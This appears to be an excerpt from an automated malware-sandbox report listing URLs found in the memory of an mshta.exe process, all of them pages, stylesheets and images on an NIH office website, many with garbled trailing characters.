Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q7?
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q7V
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q7soonIM
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/system/css/system.maintenance.css?sqz1q7t-general-info.css?sqz1
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7-
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q76
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7e.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/core/modules/views/css/views.module.css?sqz1q7g
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oamp.od.nih.gov/current-small-business-opportunities
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/er
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/ermenutrigger
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/g
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1353234514.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oamp.od.nih.gov/hbcu-resources
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006AF7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407680143.0000000006AFB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765568264.0000000006AFC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/i
Source: mshta.exe, 0000000C.00000002.1767618367.0000000006E57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/jx
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B75000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B66000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B66000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B75000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B78000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352377997.0000000006B78000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q77ci
Source: mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q78q
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7_f
Source: mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7fq
Source: mshta.exe, 0000000C.00000003.1302821307.0000000006B75000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B66000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B66000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B75000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B78000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352377997.0000000006B78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/cheeseburger_menu/css/cheeseburger_menu.css?sqz1q7p
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q71q7
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q77J
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7dP23
Source: mshta.exe, 0000000C.00000002.1765298145.0000000006ADB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006AD9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7q7
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7rK
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7rP
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/modules/contrib/extlink/extlink.css?sqz1q7z1q7
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oamp.od.nih.gov/nih-document-generation-system/dgs-workform-information/attachment-files-sec
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/o
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/p
Source: 9ETUUQ2H.htm.12.dr	String found in binary or memory: https://oamp.od.nih.gov/rss.xml
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033BE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg
Source: mshta.exe, 0000000C.00000002.1759638434.0000000003392000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg1q7Y
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpg2
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgS
Source: mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgi
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/sites/default/files/images/NIH_OM_Logo_2Color.jpgu
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/ss
Source: mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/ta-off-canvas-main-canvas
Source: mshta.exe, 0000000C.00000003.1301382090.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/base.css?sqz1q7
Source: mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/base.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/base.css?sqz1q7Td
Source: mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407419995.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765679515.0000000006B0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/base.css?sqz1q7Yj
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1759638434.00000000033F9000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7%
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q71
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7Q
Source: mshta.exe, 0000000C.00000002.1765810373.0000000006B1E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006AF2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352968946.0000000006B0D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1352628421.0000000006B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7_menu.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/maintenance-page.css?sqz1q7q7H
Source: mshta.exe, 0000000C.00000003.1407549286.0000000006B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q7
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B95000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q7-y62
Source: mshta.exe, 0000000C.00000003.1352628421.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B48000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301790306.0000000006B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q70
Source: mshta.exe, 0000000C.00000003.1352377997.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1302821307.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407138751.0000000006B81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1307988870.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.1765951687.0000000006B81000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1301382090.0000000006B7F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407549286.0000000006B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q70F/11
Source: mshta.exe, 0000000C.00000002.1766161372.0000000006BA7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1406273586.0000000006B95000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.1407441584.0000000006BA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/media.css?sqz1q7C:
Source: mshta.exe, 0000000C.00000003.1407549286.0000000006B81000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://oamp.od.nih.gov/themes/oamp_theme/css/style.css?sqz1q7
